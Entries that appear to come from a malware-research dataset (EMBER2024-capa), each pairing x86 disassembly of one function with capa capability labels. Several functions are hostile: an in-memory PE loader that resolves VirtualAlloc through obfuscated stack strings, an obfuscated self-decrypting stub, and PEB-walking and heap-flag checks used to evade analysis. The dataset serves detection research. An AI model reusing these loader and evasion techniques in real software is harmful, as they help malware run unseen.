joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401700
Capabilities:
Contain obfuscated stackstrings
Enumerate pe sections
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
mov dword [ebp - 0xc], ecx
push edi
lea ecx, [ebp - 4]
call fcn.004012d0
push 0x402108
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
mov eax, dword [esi + 0x3c]
mov edi, dword [eax + esi + 0x78]
lea ebx, [eax + esi + 0x78]
lea ecx, [ebp - 0x2c]
push ecx
add edi, esi
push edi
push ebx
push esi
lea ecx, [ebp - 4]
mov dword [ebp - 0x2c], 0x74726956
mov dword [ebp - 0x28], 0x416c6175
mov dword [ebp - 0x24], 0x636f6c6c
mov byte [ebp - 0x20], 0
call fcn.004014a0
lea edx, [ebp - 0x2c]
push edx
push edi
push ebx
push esi
lea ecx, [ebp - 4]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x2c], 0x74726956
mov dword [ebp - 0x28], 0x466c6175
mov dword [ebp - 0x24], 0x656572
call fcn.004014a0
mov dword [ebp - 0x1c], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0x1200
push 0
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edx, dword [ebp - 0xc]
mov esi, eax
push 0x1200
mov ecx, esi
call fcn.00401220
lea edi, [esi + 0x900]
mov edx, 0x900
mov ecx, edi
call fcn.004016c0
mov edx, 0x900
mov ecx, esi
call fcn.004016c0
mov eax, 0x900
jmp 0x4017d0
mov dl, byte [edi]
mov cl, byte [edi - 0x900]
mov byte [edi - 0x900], dl
mov byte [edi], cl
inc edi
dec eax
jne 0x4017d0
mov ebx, dword [esi + 0x3c]
add ebx, esi
lea eax, [ebx + 0x18]
push 0x40
mov dword [ebp - 8], eax
mov eax, dword [eax + 0x38]
push 0x3000
push eax
push 0
call dword [ebp - 0x10]
mov edi, eax
test edi, edi
je 0x4018dc
push 0x40
mov edx, esi
mov ecx, edi
call fcn.00401220
movzx eax, word [ebx + 0x14]
mov ecx, dword [edi + 0x3c]
add ecx, edi
push eax
mov edx, ebx
mov dword [ebp - 0x10], ecx
call fcn.00401220
movzx eax, word [ebx + 0x14]
movzx ecx, word [ebx + 6]
mov edx, dword [ebp - 0x10]
add eax, dword [ebp - 8]
movzx ebx, word [edx + 0x14]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
lea ebx, [ebx + edx + 0x18]
test ecx, ecx
je 0x40189a
sub eax, ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], ecx
jmp 0x401855
mov eax, dword [ebp - 0x10]
push 0x28
lea edx, [eax + ebx]
mov ecx, ebx
call fcn.00401220
add ebx, 0x28
dec dword [ebp - 0xc]
jne 0x401852
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
test ecx, ecx
je 0x40189a
lea ebx, [eax + 0x14]
mov dword [ebp - 0xc], ecx
lea esp, [esp]
mov ecx, dword [ebx - 4]
mov edx, dword [ebx]
push ecx
mov ecx, dword [ebx - 8]
add edx, esi
add ecx, edi
call fcn.00401220
add ebx, 0x28
dec dword [ebp - 0xc]
jne 0x401880
mov edx, dword [ebp - 8]
push edx
push edi
lea ecx, [ebp - 4]
call fcn.00401350
mov esi, dword [ebp - 8]
push esi
push edi
lea ecx, [ebp - 4]
call fcn.00401400
mov eax, dword [ebp - 4]
mov ecx, dword [esi + 0x10]
mov dword [eax + 8], edi
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
add ecx, edi
mov dword [eax + 0x18], edi
mov dword [eax + 0x1c], ecx
mov dword [ebp - 0x18], ecx
call dword [ebp - 0x18]
push 0x8000
push 0
push edi
call dword [ebp - 0x1c]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x414838
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x44ec90]
jne 0x414842
repz ret
jmp fcn.0041a6eb

Function at 0x41854f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x41855e
pop dword [ebp - 0x18]
mov eax, 0x3c2b728b
sub eax, 0x3be9ed2d
sub dword [ebp - 0x18], eax
push 0x40
push 0x1000
push 0x49293
push 0
mov eax, 0xe837c511
add eax, 0x180bfd47
add eax, dword [ebp - 0x18]
call dword [eax]
mov ecx, 0x88f9025f
sub ecx, 0x88f8d06c
xor ebx, ebx
add ebx, eax
mov esi, 0x46b200
add esi, dword [ebp - 0x18]
mov edi, 0xb1be352b
sub edi, 0x9ba93249
add dword [ebp - 4], esi
mov edx, dword [esi]
mov dword [ebp - 0x14], 0x6e88d2d
sub edx, edi
sub dword [ebp - 8], 0xf6d5af77
mov dword [ebx], edx
xor dword [ebp - 8], ebx
add ebx, 4
add esi, 0xb0911389
add esi, 0x4f6eec7b
loop 0x4185b9
add eax, 0xba9f
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0x432550
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43a919
mov eax, dword fs:[0]
push eax
sub esp, 0x138
mov eax, dword [0x44ec90]
xor eax, ebp
mov dword [ebp - 0x18], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x14], 0
push 0x11c
push 0
lea eax, [ebp - 0x13c]
push eax
call fcn.004148c0
add esp, 0xc
mov dword [ebp - 0x13c], 0x11c
lea ecx, [ebp - 0x13c]
push ecx
call dword [sym.imp.kernel32.dll_GetVersionExW]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x4325d2
mov dword [ebp - 0x13c], 0x114
lea edx, [ebp - 0x13c]
push edx
call dword [sym.imp.kernel32.dll_GetVersionExW]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x4325e8
cmp dword [ebp - 0x138], 6
jb 0x4325e8
mov dword [ebp - 0x14], 1
movzx eax, byte [0x452c91]
test eax, eax
jne 0x43267e
cmp dword [ebp - 0x14], 0
je 0x43263b
push str.Vista_or_later
lea ecx, [ebp - 0x140]
call main
mov dword [ebp - 4], 0
push 0
lea ecx, [ebp - 0x140]
push ecx
push 2
call main
add esp, 0xc
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x140]
call main
jmp 0x432677
push str.not_Vista_or_later
lea ecx, [ebp - 0x144]
call main
mov dword [ebp - 4], 1
push 0
lea edx, [ebp - 0x144]
push edx
push 2
call main
add esp, 0xc
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x144]
call main
mov byte [0x452c91], 1
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x18]
xor ecx, ebp
call fcn.00414838
mov esp, ebp
pop ebp
ret
Function at 0x401154
Capabilities:
Encode data using xor

Disassembly:
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegDisablePredefinedCacheEx]
xor esi, esi
call edi
sub byte [esi + 0x4228d0], 0x43
call edi
add byte [esi + 0x4228d0], 0xf6
call edi
xor byte [esi + 0x4228d0], 0x4a
call edi
add byte [esi + 0x4228d0], 0xb6
call edi
add byte [esi + 0x4228d0], 0x21
call edi
add byte [esi + 0x4228d0], 0x9a
call edi
add byte [esi + 0x4228d0], 0x25
call edi
xor byte [esi + 0x4228d0], 0x1c
call edi
add byte [esi + 0x4228d0], 0x1a
call edi
add byte [esi + 0x4228d0], 0xc0
call edi
xor byte [esi + 0x4228d0], 0x90
call edi
inc byte [esi + 0x4228d0]
call edi
add byte [esi + 0x4228d0], 0x6d
call edi
add byte [esi + 0x4228d0], 0x98
call edi
add byte [esi + 0x4228d0], 0x4f
call edi
add byte [esi + 0x4228d0], 0x5b
call edi
xor byte [esi + 0x4228d0], 0x93
call edi
add byte [esi + 0x4228d0], 0xef
call edi
add byte [esi + 0x4228d0], 0xb5
call edi
add byte [esi + 0x4228d0], 0xfe
call edi
add byte [esi + 0x4228d0], 0x3f
call edi
add byte [esi + 0x4228d0], 0xfe
call edi
add byte [esi + 0x4228d0], 0x20
call edi
add byte [esi + 0x4228d0], 0x42
call edi
add byte [esi + 0x4228d0], 0x70
call edi
xor byte [esi + 0x4228d0], 0xba
call edi
add byte [esi + 0x4228d0], 0x84
call edi
add byte [esi + 0x4228d0], 0x35
call edi
add byte [esi + 0x4228d0], 0xb0
call edi
add byte [esi + 0x4228d0], 0x96
call edi
add byte [esi + 0x4228d0], 0xe
call edi
xor byte [esi + 0x4228d0], 0xf1
call edi
xor byte [esi + 0x4228d0], 0x95
call edi
xor byte [esi + 0x4228d0], 0x89
call edi
add byte [esi + 0x4228d0], 0x1f
call edi
add byte [esi + 0x4228d0], 0x68
call edi
xor byte [esi + 0x4228d0], 0x5d
call edi
add byte [esi + 0x4228d0], 0x73
call edi
add byte [esi + 0x4228d0], 0x75
call edi
xor byte [esi + 0x4228d0], 0xb0
call edi
call edi
xor byte [esi + 0x4228d0], 0x47
call edi
add byte [esi + 0x4228d0], 3
call edi
xor byte [esi + 0x4228d0], 4
call edi
add byte [esi + 0x4228d0], 0x1e
call edi
xor byte [esi + 0x4228d0], 0xd
call edi
add byte [esi + 0x4228d0], 0xaf
call edi
add byte [esi + 0x4228d0], 0xfa
call edi
add byte [esi + 0x4228d0], 0xc2
inc esi
cmp esi, 0x2b800
jb 0x40115e
pop edi
pop esi
ret
Function at 0x40131f
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0xc
push ebx
push ebp
push esi
mov esi, ecx
push edi
lea ebp, [esi + 0x10]
mov edi, dword [ebp]
mov ebx, edi
xor ebx, 0x14d
mov dword [esp + 0x18], ebp
cmp dword [esi + 0x14], 0x10
jb 0x401342
mov esi, dword [esi]
shr edi, 2
push esi
push edi
push str._x_and__p
mov dword [esp + 0x20], edi
call fcn.00401026
add esp, 0xc
test edi, edi
je 0x40139f
mov ebp, esi
push 4
lea eax, [esp + 0x14]
push ebp
push eax
call fcn.004078c0
imul ecx, dword [esp + 0x1c], 0x5bd1e991
add esp, 0xc
imul ebx, ebx, 0x5bd1e991
add ebp, 4
mov eax, ecx
shr eax, 0x18
xor eax, ecx
imul eax, eax, 0x5bd1e991
xor ebx, eax
mov dword [esp + 0x10], eax
sub edi, 1
jne 0x40135e
mov edi, dword [esp + 0x14]
mov ebp, dword [esp + 0x18]
mov eax, dword [ebp]
xor ecx, ecx
and eax, 3
sub eax, 1
je 0x4013c8
sub eax, 1
je 0x4013be
sub eax, 1
jne 0x4013d6
movsx ecx, byte [esi + edi*4 + 2]
shl ecx, 0x10
movsx eax, byte [esi + edi*4 + 1]
shl eax, 8
xor ecx, eax
movsx eax, byte [esi + edi*4]
xor eax, ecx
imul eax, eax, 0x5bd1e991
xor ebx, eax
mov eax, ebx
shr eax, 0xd
xor eax, ebx
imul ecx, eax, 0x5bd1e991
pop edi
pop esi
pop ebp
pop ebx
mov eax, ecx
shr eax, 0xf
xor eax, ecx
add esp, 0xc
ret
Function at 0x4018d0
Capabilities:
Initialize winsock library
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x194
mov eax, dword [0x55ca98]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x194]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x40192a
mov eax, dword [section..data]
cmp dword [eax], 1
jl 0x401922
push 0
push 0x1b2
push str.netsock_init
call fcn.004015c0
push eax
push str._s__s:_d_Bad_winsock_version_n
call fcn.00401580
add esp, 0x14
push 1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005091c5
mov esp, ebp
pop ebp
ret

Function at 0x401c90
Capabilities:
Hash data using djb2

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 8]
mov eax, 0x1505
test edx, edx
jne 0x401ca3
xor eax, eax
pop ebp
ret
push esi
movsx esi, byte [edx]
test esi, esi
je 0x401cc3
nop dword [eax + eax]
mov ecx, eax
lea edx, [edx + 1]
shl eax, 5
add eax, esi
movsx esi, byte [edx]
add eax, ecx
test esi, esi
jne 0x401cb0
pop esi
pop ebp
ret
Function at 0x40d380
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0xc]
mov edx, 0x811c9dc5
push edi
mov edi, dword [ebp + 8]
mov ecx, 0
sub esi, edi
je 0x40d3b1
nop dword [eax]
movzx eax, byte [ecx + edi]
inc ecx
xor eax, edx
imul edx, eax, 0x1000193
cmp ecx, esi
jb 0x40d3a0
pop edi
mov eax, edx
pop esi
pop ebp
ret 8

Function at 0x40dea0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ecx + 4]
pop ebp
jmp fcn.004116b0
Function at 0x40e9c0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x55ca98]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
push edi
mov edi, ecx
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], edi
cmp dword [edi + 0x88], 0xfffffffd
jne 0x40ea2e
cmp dword [edi + 0x8c], 0xffffffff
jne 0x40ea2e
push ebx
lea eax, [ebp - 0x14]
push str._zx_r_n
push eax
call fcn.00401620
lea ecx, [ebp - 0x14]
add esp, 0xc
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40ea10
push 0
sub ecx, edx
lea eax, [ebp - 0x14]
push ecx
push eax
mov eax, dword [ebp + 8]
push eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
mov eax, dword [ebp - 0x18]
mov esi, ebx
test ebx, ebx
je 0x40ea55
push 0
mov edi, ebx
sub edi, esi
push esi
add eax, edi
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
js 0x40ea90
sub esi, eax
mov eax, dword [ebp - 0x18]
jne 0x40ea34
mov edi, dword [ebp - 0x1c]
cmp dword [edi + 0x88], 0xfffffffd
jne 0x40ea7b
cmp dword [edi + 0x8c], 0xffffffff
jne 0x40ea7b
mov eax, dword [ebp + 8]
push 0
push 2
push 0x5136f4
push eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
pop edi
pop esi
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005091c5
mov esp, ebp
pop ebp
ret 0xc
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.005091c5
mov esp, ebp
pop ebp
ret 0xc
Function at 0x410c80
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
mov eax, dword [0x55ca98]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
or eax, dword [ebp + 0xc]
push ebx
mov ebx, ecx
mov dword [ebp - 0x30], 0x46464952
push esi
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x28], 0x45564157
mov dword [ebp - 0x24], 0x20746d66
mov dword [ebp - 0x20], 0x10
mov dword [ebp - 0x1c], 0x20001
mov dword [ebp - 0x10], 0x100004
mov dword [ebp - 0xc], 0x61746164
je 0x410d85
movzx eax, byte [ebx + 0x1d]
cdq
mov esi, eax
mov ecx, edx
movzx eax, byte [ebx + 0x1c]
push edi
cdq
push edx
push eax
push ecx
push esi
call fcn.005094d0
push dword [ebp + 0xc]
mov ecx, eax
mov eax, edx
mul dword [ebx + 0x18]
push dword [ebp + 8]
mov edi, eax
mov eax, ecx
mul dword [ebx + 0x18]
add edi, edx
push edi
push eax
call fcn.005094d0
mov ebx, edx
mov ecx, eax
mov edx, 0x1a9fbe77
mov dword [ebp - 0x3c], ecx
mul edx
mov eax, ecx
mov dword [ebp - 0x34], ebx
mov esi, edx
mov edi, 0x624dd2f
mul edi
mov ecx, 0x1a9fbe77
mov edi, eax
mov dword [ebp - 0x38], edx
mov eax, ebx
mul ecx
mov ecx, eax
mov ebx, edx
mov eax, dword [ebp - 0x34]
mov edx, 0x624dd2f
mul edx
add ecx, esi
mov esi, dword [ebp - 0x34]
mov dword [ebp - 0x44], eax
adc ebx, 0
add edi, ecx
mov ecx, dword [ebp - 0x38]
adc ecx, 0
xor eax, eax
add ebx, ecx
mov ecx, dword [ebp - 0x44]
pop edi
adc eax, eax
add ecx, ebx
mov ebx, dword [ebp - 0x3c]
adc edx, eax
sub ebx, ecx
sbb esi, edx
shrd ebx, esi, 1
shr esi, 1
add ebx, ecx
adc esi, edx
shrd ebx, esi, 9
shr esi, 9
test esi, esi
ja 0x410d85
jb 0x410d8c
cmp ebx, 0xffffffdb
jbe 0x410d8c
mov ebx, 0xffffffdb
xor esi, esi
mov ecx, dword [ebp - 0x40]
lea eax, [ebx + 0x24]
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x30]
push 0x2c
push eax
mov ecx, dword [ecx + 0xc]
mov dword [ebp - 8], ebx
mov dword [ebp - 0x18], 0xac44
mov dword [ebp - 0x14], 0x2b110
call fcn.004116b0
mov ecx, dword [ebp - 4]
add ebx, 0x2c
mov eax, ebx
adc esi, 0
xor ecx, ebp
mov edx, esi
pop esi
pop ebx
call fcn.005091c5
mov esp, ebp
pop ebp
ret 8
Function at 0x4116b0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, ecx
push esi
lea esi, [ebx + 0x14]
push esi
call sub.MSVCP140.dll__Mtx_lock
add esp, 4
test eax, eax
jne 0x411778
mov eax, dword [esi + 0x2c]
cmp eax, 0x7fffffff
je 0x41177f
mov edx, dword [ebx + 8]
mov ecx, edx
mov eax, dword [ebx + 4]
sub ecx, eax
cmp edx, eax
jae 0x4116ea
add ecx, dword [ebx + 0x10]
mov eax, dword [ebx + 0x10]
sub eax, ecx
mov ecx, dword [ebp + 0xc]
dec eax
cmp ecx, eax
jbe 0x41170a
push esi
xor bl, bl
call sub.MSVCP140.dll__Mtx_unlock
add esp, 4
mov al, bl
pop esi
pop ebx
pop ebp
ret 8
mov eax, dword [ebx + 0xc]
push edi
sub eax, edx
mov edi, ecx
cmp eax, ecx
cmovb edi, eax
push edi
push dword [ebp + 8]
push edx
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [ebp + 0xc]
sub eax, edi
push eax
mov eax, dword [ebp + 8]
add eax, edi
push eax
push dword [ebx]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [ebx + 0x44]
add esp, 0x18
pop edi
test eax, eax
je 0x411751
push eax
push 1
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
mov eax, dword [ebx + 8]
add eax, dword [ebp + 0xc]
mov dword [ebx + 8], eax
cmp eax, dword [ebx + 0xc]
jb 0x411765
sub eax, dword [ebx + 0x10]
mov dword [ebx + 8], eax
push esi
mov bl, 1
call sub.MSVCP140.dll__Mtx_unlock
add esp, 4
mov al, bl
pop esi
pop ebx
pop ebp
ret 8
push 5
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
dec eax
push 6
mov dword [esi + 0x2c], eax
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3
Function at 0x41d660
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x18]
push esi
mov esi, 1
cmp eax, 0x140
jne 0x41d67a
mov esi, 2
jmp 0x41d682
xor ecx, ecx
cmp eax, 0x60
cmove esi, ecx
push 0x1d8
call fcn.0050945c
add esp, 4
test eax, eax
je 0x41d6bd
push dword [ebp + 0x30]
mov ecx, eax
push dword [ebp + 0x2c]
push dword [ebp + 0x28]
push dword [ebp + 0x24]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push esi
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004151b0
mov esi, eax
jmp 0x41d6bf
xor esi, esi
push 0
push 0
push esi
push 0x41cbf0
push dword [esi + 0x1c]
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esi + 0x28], eax
test eax, eax
je 0x41d6e0
mov eax, esi
pop esi
pop ebp
ret
mov eax, dword [esi]
mov ecx, esi
push 1
call dword [eax]
xor eax, eax
pop esi
pop ebp
ret
Function at 0x4217e0
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x50d91e
mov eax, dword fs:[0]
push eax
sub esp, 8
push esi
push edi
mov eax, dword [0x55ca98]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x10], edi
mov dword [edi], vtable.cspot::Session.0
mov dword [edi + 4], 0
mov dword [ebp - 4], 0
mov dword [edi + 8], 0
mov dword [edi + 0xc], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
xorps xmm0, xmm0
mov byte [ebp - 4], 2
movups xmmword [edi + 0x18], xmm0
push 0x30
lea ecx, [edi + 0x18]
mov dword [edi + 0x28], 0
mov dword [edi + 0x2c], 0xf
call fcn.0040b130
mov dword [edi + 0x18], eax
mov dword [edi + 0x28], 0x28
mov dword [edi + 0x2c], 0x2f
movups xmm0, xmmword [str.142137fd329622137a14901634264e6f332e2411]
movups xmmword [eax], xmm0
movups xmm0, xmmword [0x5170c8]
movups xmmword [eax + 0x10], xmm0
movq xmm0, qword [0x5170d8]
movq qword [eax + 0x20], xmm0
mov byte [eax + 0x28], 0
mov dword [edi + 0x30], 0
mov dword [edi + 0x34], 0
push 0x3d0
mov byte [ebp - 4], 4
call fcn.0050945c
add esp, 4
mov dword [ebp - 0x14], eax
mov byte [ebp - 4], 5
test eax, eax
je 0x4218c9
mov ecx, eax
call fcn.00440a40
jmp 0x4218cb
xor eax, eax
mov esi, dword [edi + 4]
mov dword [edi + 4], eax
test esi, esi
je 0x4218ea
mov ecx, esi
call fcn.00440bb0
push 0x3d0
push esi
call fcn.0050948c
add esp, 8
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x428570
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x50e3cc
mov eax, dword fs:[0]
push eax
sub esp, 0x10
push ebx
push esi
push edi
mov eax, dword [0x55ca98]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x1c], edi
mov eax, dword [ebp + 8]
mov dword [edi], eax
mov dword [ebp - 4], 0
mov dword [edi + 4], 0
mov dword [edi + 8], 0
mov dword [edi + 0xc], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
mov dword [edi + 0x18], 0
mov dword [edi + 0x1c], 0
mov dword [edi + 0x20], 0
mov dword [edi + 0x24], 0
mov dword [edi + 0x28], 0
mov dword [edi + 0x2c], 0
lea ebx, [edi + 0x38]
mov dword [edi + 0x30], 0
mov byte [edi + 0x34], 0
mov dword [ebp - 0x14], ebx
mov dword [ebx + 0x24], 0
mov ecx, dword [ebp + 0x30]
mov byte [ebp - 4], 4
test ecx, ecx
je 0x428624
mov eax, dword [ecx]
push ebx
call dword [eax]
mov dword [ebx + 0x24], eax
mov al, byte [ebp + 0x34]
lea ecx, [edi + 0x68]
push 9
mov byte [ebp - 4], 5
mov byte [edi + 0x60], al
call fcn.00414ff0
mov ecx, dword [edi + 0x1c]
xor ebx, ebx
mov edx, dword [edi + 0x10]
mov byte [ebp - 4], 6
mov byte [ebp - 0xd], 1
mov dword [ebp - 0x18], edx
test ecx, ecx
jns 0x42866b
mov eax, ecx
neg eax
cmp ebx, eax
jae 0x42866b
add ecx, ebx
mov eax, ecx
not eax
shr eax, 5
lea eax, [eax*4 + 4]
sub edx, eax
jmp 0x428675
add ecx, ebx
mov eax, ecx
shr eax, 5
lea edx, [edx + eax*4]
lea eax, [ebp - 0xd]
and ecx, 0x1f
push eax
push 1
push ecx
push edx
lea eax, [ebp - 0x18]
push eax
lea ecx, [edi + 0x10]
call fcn.0042b490
mov ecx, dword [ebp + 0x30]
test ecx, ecx
je 0x4286a4
mov esi, dword [ecx]
lea eax, [ebp + 0xc]
cmp ecx, eax
setne dl
movzx edx, dl
push edx
call dword [esi + 0x10]
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x30
Function at 0x4289d0
Capabilities:
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x50e4dc
mov eax, dword fs:[0]
push eax
sub esp, 0x10
push esi
push edi
mov eax, dword [0x55ca98]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, ecx
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], 0
xorps xmm0, xmm0
movups xmmword [eax], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov dword [ebp - 0x10], eax
mov byte [eax], 0
mov dword [eax + 0x18], 0xffffffff
movups xmmword [eax + 0x1c], xmm0
mov dword [eax + 0x2c], 4
mov dword [eax + 0x30], 0xf
mov dword [eax + 0x1c], 0x70747468
mov byte [eax + 0x20], 0
movups xmmword [eax + 0x34], xmm0
mov dword [eax + 0x44], 0
mov dword [eax + 0x48], 0xf
mov byte [eax + 0x34], 0
lea edi, [eax + 0x50]
mov dword [ebp - 4], 1
lea ecx, [edi + 0x860]
mov dword [ebp - 0x18], edi
mov dword [edi], 0x5172a4
mov dword [edi + 0x10], 0x5172ac
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::constructor_void_]
push 0
lea esi, [edi + 0x18]
mov byte [ebp - 4], 2
push esi
mov ecx, edi
mov dword [ebp - 0x10], 1
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char____]
mov eax, dword [edi]
mov dword [ebp - 4], 3
mov dword [ebp - 0x1c], esi
mov eax, dword [eax + 4]
mov dword [edi + eax], vtable.bell::SocketStream.0
mov eax, dword [edi]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x860]
mov dword [ecx + edi - 4], eax
mov ecx, esi
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void_]
mov dword [esi], vtable.bell::SocketBuffer.0
mov dword [esi + 0x38], 0
mov dword [esi + 0x38], 0
mov edi, dword [ebp - 0x14]
push 0x400
mov byte [ebp - 4], 4
mov dword [edi + 0xaf8], 0x400
mov dword [edi + 0xafc], 0
mov dword [edi + 0xb00], 0
mov dword [edi + 0xb04], 0
call fcn.0050945c
mov dword [edi + 0xafc], eax
add eax, 0x400
push 0x400
mov dword [edi + 0xb04], eax
mov esi, dword [edi + 0xafc]
push 0
push esi
call sub.VCRUNTIME140.dll_memset
lea eax, [esi + 0x400]
add esp, 0x10
mov dword [edi + 0xb00], eax
mov eax, edi
mov dword [edi + 0xb08], 0
mov dword [edi + 0xb0c], 0
mov dword [edi + 0xb10], 0
mov dword [edi + 0xb18], 0
mov byte [edi + 0xb1c], 0
mov dword [edi + 0xb20], 0
mov dword [edi + 0xb24], 0
mov dword [edi + 0xb28], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret